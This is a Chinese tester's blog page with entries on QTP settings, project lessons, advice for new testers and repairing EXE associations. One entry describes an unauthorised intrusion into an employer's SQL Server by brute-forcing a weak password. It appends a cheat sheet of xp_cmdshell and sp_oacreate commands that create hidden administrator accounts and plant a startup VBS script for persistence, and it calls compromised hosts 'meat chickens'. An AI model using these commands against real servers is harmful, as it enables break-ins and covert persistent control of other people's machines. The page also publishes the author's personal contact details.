测试与开发

发布新日志

  • QTP中提示"当前安全设置禁止安全运行该页中的activeX

    2012-03-01 11:58:55

    在录制好的QTP脚本中,点击修改这些脚本时,可能提示"当前安全设置禁止安全运行该页中的activeX控件"。关于这个Active的对话提示窗口,问题在于QTP的设置,要消除该提示窗口,应对QTP作如下设置:toos---options..------Active Screen----Advanced-------点选Load ActiveX controls
    作过如上设置之后,重新录制脚本,录制完成后,在QTP的Expert View中编辑脚本代码,QTP就不会再弹出关于Active控件的对话框了。
  • 近期需要学习的东西

    2009-11-17 19:24:07

    近期需要学习的东西,记录在这里不要忘记

    1.oracle workflow

    2.lr

    3.qtp

    4.了解ORACLE系统表

  • 开会总结

    2009-10-22 10:46:25

    上周开会总结
    项目后期主要问题
    1.数据问题  某些隐藏很深的问题导致数据出错,数据处理起来很麻烦,根据这点说明在测试时期,一点要模拟用户进行大量数据的测试。
    2.并发   两个用户同时处理一个数据,导致一方数据没有及时更新,这里就提示我们在修改数据时,一定要对正在修改的数据锁定
    3.需求更改  这个出现的很频繁,对测试工作来说,只有让测试人员参与前期需求(这点)

  • 记一次无意的侵入测试

    2009-06-09 11:38:09

    前年在一个图书管理软件的公司做测试,由于公司的软件相对于比较成熟,所以主要做的就是功能测试、安装卸载测试、兼容性测试与性能测试,对软件安全这块测试的比较少。
    有一天,心血来潮,想着这个软件是否真的这样不可攻克呢?从来不做安全性测试,然后打定主意测试一次。
    公司的软件是C/S的系统,连接的是sqlserver数据库。sqlserver数据库有漏洞这个是早有耳闻,所以就从sqlserver开始下手。
    首先使用X-Scan-v3.3-cn扫描了一下这个局域网(公司系统管理员警觉不够啊,我扫描了一个小时他都没有发现),发现有几台电脑都是用户名为Administrator密码为空,不过这不是我的目标,暂时可以忽略。同时看到了目标主机的一些信息,80端口被关闭了,那么可能是没有连接外网,然后有一个135  445 等一些端口,这个也没有使用到,最重要的一个信息看到了,sqlserver连接用户名为原来公司拼音简写,密码显示为弱口令,这下有信心了,然后使用了一个简单的暴力破解软件,破解了密码。
    哎,这么快就破解了这个数据库,也是我没有想到的,我以前一直以为这个系统真的是做的牢不可破呢!
    既然进来了,没事就继续逛逛吧,记得sqlserver还有一个很危险的存储过程xp_cmdshell,不知开发人员有没有处理,写了个 EXEC sp_addextendedproc xp_cmdshell 'net user',竟然执行成功,显示了目标主机的所有用户,哎,现在我彻底无语了。然后我就直接使用XP_cmdshell这个存储过程创建了一个相当与Administrator权限的用户,而且在这台主机上安装了DameWare,呵呵然后带着这个漏洞想项目经理领赏去了。

    附:xp_cmdshell的一些简单使用(其他网友经验)

    开启cmdshell的SQL语句

    EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

    判断存储扩展是否存在
    Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
    返回结果为1就OK

    恢复xp_cmdshell
    Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
    返回结果为1就OK

    否则上传xplog7.0.dll
    Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'

    扫到SQL弱口令后利用SQLTOOLS出现未能找到存储过程 'master..xp_cmdshell'
    这种情况的主要原因是删除了扩展存储过过程xp_cmdshell,有一个恢复的办法,如果不成功说明被改名了

    使用SQLTOOLS连接,连接后在利用目录下点执行数据库命令,执行:
    EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
    运气好的话就成功了,如果你想让你的肉鸡用SQL执行不了DOS命令的话,执行:
    sp_dropextendedproc "xp_cmdshell"
    就执行不了DOS命令了,当然用上面的语句可以复原。

    用SQLTOOLS可以连接成功,执行DOS命令,却总是显示这个、、、拒绝了对对象 'xp_cmdshell'(数据库 'master',所有者 'dbo')的 EXECUTE 权限。
    怎么解决????
    上传文件也不行。。。
    1 未能找到存储过程'master..xpcmdshell'。

    恢复方法:查询分离器连接后,

    第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
    第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
    然后按F5键命令执行完毕。

    2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126(找不到指定模块。)

    恢复方法:查询分离器连接后,

    第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
    第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
    然后按F5键命令执行完毕。

    3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)

    恢复方法:查询分离器连接后,
    第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
    第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
    然后按F5键命令执行完毕。

    四.终极方法:

    如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:

    查询分离器连接后,

    2000servser系统:

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output
    exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
    @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'

    xp或2003server系统:

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
    @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
    @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'

    还不行就没办法了

    方法1:查询分离器连接后执行:
    if exists (select * from
    dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
    OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

    exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

    GO

    然后按F5键命令执行完毕

    方法2:查询分离器连接后
    第一步执行:use master
    第二步执行:sp_dropextendedproc 'xp_cmdshell' 然后按F5键命令执行完毕


    1 未能找到存储过程'master..xpcmdshell'. 恢复方法:查询分离器连接后,
    第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
    第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 然后按F5键命令执行完毕

    2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
    恢复方法:查询分离器连接后,
    第一步执行:sp_dropextendedproc "xp_cmdshell"
    第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'然后按F5键命令执行完毕

    3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
    恢复方法:查询分离器连接后,
    第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
    第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
    然后按F5键命令执行完毕

    四.终极方法.如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
    1,查询分离器连接后,
    2000servser系统:
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user yszar andylau /add'

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators yszar /add'

    xp或2003server系统:

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'

    或者可以

    declare @o int
    exec sp_oacreate 'wscript.shell', @o out
    exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX为你要执行的命令


    有时候用查询分离器连接执行以上语句的时候会出现找不到存储过程 sp_addextendedproc

    解决方法:

    create procedure sp_addextendedproc --- 1996/08/30 20:13
    @functname nvarchar(517),/* (owner.)name of function to call */
    @dllname varchar(255)/* name of DLL containing function */
    as
    set implicit_transactions off
    if @@trancount > 0
    begin
    raiserror(15002,-1,-1,'sp_addextendedproc')
    return (1)
    end
    dbcc addextendedproc( @functname, @dllname)
    return (0) -- sp_addextendedproc
    GO
    这段代码贴入查询分离器,执行


    1.突破xplog70.dll

    declare @cmd INT
    exec sp_oacreate 'wscript.shell',@cmd output
    exec sp_oamethod @cmd,'run',null,'net user 用户名 密码 /add','0','true'
    declare @cmd INT
    exec sp_oacreate 'wscript.shell',@cmd output
    exec sp_oamethod @cmd,'run',null,'net localgroup administrators 用户名 /add','0','true'

    2.恢复xp_cmdshell
    先尝试恢复xp_cmdshell,sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll',
    结果发现xpsql70.dll被删除。

    然后写vbs文件到启动组里面:
    declare @o int, @f int, @t int, @ret int ,@a int
    exec sp_oacreate 'scripting.filesystemobject', @o out
    exec sp_oamethod @o, 'createtextfile', @f out,
    'c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs', 1
    exec @ret = sp_oamethod @f, 'writeline', NULL,
    'set wshshell=createobject("wscript.shell")'
    exec @ret = sp_oamethod @f, 'writeline', NULL,
    'a=wshshell.run ("cmd.exe /c net user lintao lintao520 /add",0)'
    exec @ret = sp_oamethod @f, 'writeline', NULL,
    'b=wshshell.run ("cmd.exe /c net localgroup administrators lintao /add",0)'

    3.去除SA的xp_cmdshell权限
    如果你不需要扩展存储过程xp_cmdshell请把它去掉。使用这个SQL语句:
    use master
    sp_dropextendedproc 'xp_cmdshell'
    xp_cmdshell是进入操作系统的最佳捷径,是数据库留给操作系统的一个大后门。如果你需要这个存储过程,请用这个语句也可以恢复过来。
    sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

    4.上传xplog7.0.dll:

    exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'

     

  • 修复被破坏的EXE

    2009-06-09 10:56:47

    前两天给项目做性能测试的时候,想自己优化下电脑,关闭了一些服务,卸载了一些程序后开始,动文件夹里面的内容,结果发现有一个“工具—文件夹选项—文件类型”里面的设置,还不知道是做什么的,于是新建了一个,将文件扩展名设置为EXE的,然后提交保存。
    结果保存后所有的EXE文件都打不开了,双击没有反映,没有办法,返回去设置了半天都还是不行,最后要绝望的时候发现了一个很强的命令。
    assoc .exe=exefile
    这个命令一输入就可以了(好像你关联了EXE后,连运行输入CMD都没有反映的,你需要先返回“工具—文件夹选项—文件类型”里面删除你的那个设置,但是这样也删除了你的EXE原来的注册,以后每次开每个EXE的时候都需要选择打开方式)

    后来查了一下assoc 的用法,如下
     
      
    利用ASSOC命令修复遭破坏的EXE文件关联
    2006-11-02 16:10
    显示或修改文件扩展名关联

    ASSOC [.ext[=[fileType]]]
    .ext 指定跟文件类型关联的文件扩展名
    fileType 指定跟文件扩展名关联的文件类型

    键入ASSOC而不带参数,显示当前文件关联.
    如果只用文件扩展名称调用ASSOC,则显示那个文件扩展名称的当前文件关联.
    如果不为文件类型指定任何参数,命令会删除文件扩展名称的关联.
    键入Assoc:
    列出系统目前的文件关联信息
    键入Assoc .exe
    显示目前exe扩展名的关联
    键入Assoc .exe=
    删除当前exe关联

    利用ASSOC命令修复遭破坏的EXE文件关联
    出现EXE文件关联出错一般是由于病毒引起的,而杀毒软件基本上都是.EXE文件,所以如果EXE关联出错,杀毒软件也就无法运行了.
    首先查找CMD.EXE文件,并将之改名为CMD.COM,这样才能进入命令行模式.
    输入
    assoc .exe=exefile

    显示:.exe=exefile

    这样EXE文件关联就修复了.

    附:

    注册表解决EXE文件关联丢失的解决方法

      1、修改regedit.exe 为 regedit.com
      2、HKEY_CLASSES_ROOT\exefile\shell\open\command下的default,键值为"%1" %*。

      另外,exe程序关联问题,在注册表下的HKEY_LOCAL_MACHINE\Software\Microsoft\windowsNT\currentVersion\winlogon
      下面有个名为shell的子项,键值应为explorer.exe。


    所以如果病毒改了你的exe关联,你可以用它改回来,个人觉得现在病毒横行的年代很有用,写下来,希望可以帮到以后碰到同样问题的同事。

     

  • 近期项目测试总结1

    2009-06-09 10:51:14

    最近发现自己的技术没有什么提高,在测试过程中还是没有吸取以前的经验教训,导致有些问题老是重复的出现在测试过程中,导致了项目周期的延长。

    现在总结的这个项目是我进入公司后一直进行测试的项目,到现在已经一年多了。

    当时进入公司时,这个项目已经完成需求调研,已经本开始准备单元测试。

    首先是项目测试初期。对项目不熟悉,基本工作就是熟悉系统,完全的黑盒测试,且当时没有一点关于这个项目的行业知识(个是做的物流系统),所以那个星期做的数据只能围绕着点击报错这样的BUG进行。且此项目规模比较大,无法根据开发人员给的文档来了解这个系统。所以这个阶段的测试其实比较没有什么技术含量。

    之后自己熟悉了系统,然后开始一些模块以及流程的测试,这时对系统功能已经熟悉了,进行了简单的单元测试,这个阶段用时还是比较少。

    单元测试完成后,进入的就是集成测试阶段,这时候问题就来了。

    第一次的集成测试。这时测试人员只是知道系统子功能的实现,对一些基础资料可以进行维护,之前也没有与开发人员沟通需求,所以在这次的集成测试中,测试人员根本无法进行完整的模拟正常业务进行测试。也只是类似于单元测试阶段进行测试。且公司是几个项目一起进行,对此项目的测试时断时续,这样也不便于测试人员向开发人员了解需求。往往沟通了这个模块的问题,然后就进行了其他系统的测试,这样很影响进度。
    后来我将开发人员与我沟通的需求记录在文档中(因为需求不明确),这样稍微便捷的了解了需求。
    同时在测试过程中与开发人员的沟通,还存在着一个问题。
    开发人员只是关注于其所开发的模块的实现,对于其他模块的与此模块的关联关系也了解的很少。比如在测试空运出口时,对空运出口以哪个重量来计算成本的问题,由于这个问题涉及到几个模块,开发人员对这些也是似懂非懂,这样又必须与项目经理沟通。。。。。

    第一次集成测试完成后,陆续又测试了公司的几个其他的系统。
    紧接着进行了第二轮的测试,这时可以做一些比较正常的数据。
    这个阶段主要对系统的流程进行测试,发现的BUG也主要围绕着公司平台功能和一些比较浅显的业务,这个阶段稍微比前段时间轻松。(不过我一直后悔,这段时间应该写好测试用例来的)

     

  • 测试新手领悟

    2008-09-22 10:51:06

    现在在广州做了半年的测试,但是由于各方面的原因,现在已经是我的第二份软件测试的工作了,当然现在是新进入新公司,但是在我进入到新公司的一个星期中,发现了一些广州的大部分软件公司对待测试的态度。
    1.还没有引进测试。一般都是一些做小型网站的公司,对网站的性能等要求不高,只要将软件功能完成便可交与客户。
    2.知道需要进行测试,但是并没有一个非常明确的目标说明进行测试工作需要达到的效果,有些软件公司甚至根本还没有体会测试工作的重要性,只是因为销售的软件确实有问题,才会想要请测试人员进行测试。这样的公司的测试人员,根本不需要了解测试的什么方法,主要是将软件表面测试的没有弹出性错误,对业务逻辑的话也没有理解,对软件的一些重大的BUG也不能及时发现。而且测试人员一般是处于闲置的状态,因为公司以前也没有特定的测试人员,只是因为软件出现了问题才请来的,所以公司对这种测试人员的关心不够,有些公司甚至不知道这种测试人员应该怎样发展。
    3.以前进行过测试,但是由于人员流失,或者是领导层觉得测试不实用所以间断了测试,但是现在又需要进行测试,到这样的公司还好,因为这样的公司有原来已经规定好的测试流程,以及测试规范(在测试的过程中,这些是非常重要的,比如测试用例就是可以重用的,只要你编写的好,就算你不在这家公司了,以后进入这家公司的人还是可以运用你原来的测试用例,而且如果测试流程好的话,如果你是测试新手,工作的时候也不会那么没有目标,它能够让你明确的了解你的下一步)好像这样的公司也不占少数,因为大家知道啊,原来软件在广州是发展的很好的,但是后来因为国家的干预,软件重点转向北京,所以实际广州还是有很多这种深藏不露的公司的哦
    4.公司有测试团队,也有好的流程,但是测试人员分工比较杂,什么事情都要做(有写公司可能,一好的测试流程),这样的话就是比较锻炼你的能力,测试人员不但需要测试,还需要做到技术支持需要做的工作,或者与客户交流,为客户做培训等。
    5.这个就是最好的了,但是一般很难进啊,就是你进入的这家公司,有专门的测试团队,一般的话,在你新进入公司的时候还会有一些培训,这样的话你的测试技术就能够提升的比较快了。
    最后我觉得,如果你进入测试行业,你肯定是要么成功要不就是失败的,我觉得要是你想成功的话一定要做到下面这些
    1)自己自学测试知识,其实测试需要了解的东西很多,但是你不去了解你就不知道,当你学的越多的时候,你就会越来越感觉到你自己的不足,从而促进自己不断进步,多在51testing上转转,也许会有你意想不到的惊喜哦
    2)坚决不要上班的时候聊QQ.MSN的聊天工具,其实不是不要你聊天,但是在上班的时候聊天是非常浪费时间的,可以同测试同仁一起交流问题,但是一些风花雪月的事情就不用在上班的时候讨论了。
    3)向有经验的测试同事学习,人家做了那么久,总会有一些心得的,所以一定要努力问,坚决问到将她的经验全部说出来,到时候你就是老手了。
    4.)将自己学到的知识与别人分享,实际有些问题你自己是错的你也不知道,与测试同仁分享的同时,你可以体验他的想法,同时也可以了解到自己的不足,何乐而不为呢!

    最后,希望对测试有兴趣的同仁都能够与我联系交流哦,我叫毕晨露,QQ是175351752 MSN是bichenlu@houmail.com但是9:00-6:00一般不在哦

272/2<12
Open Toolbar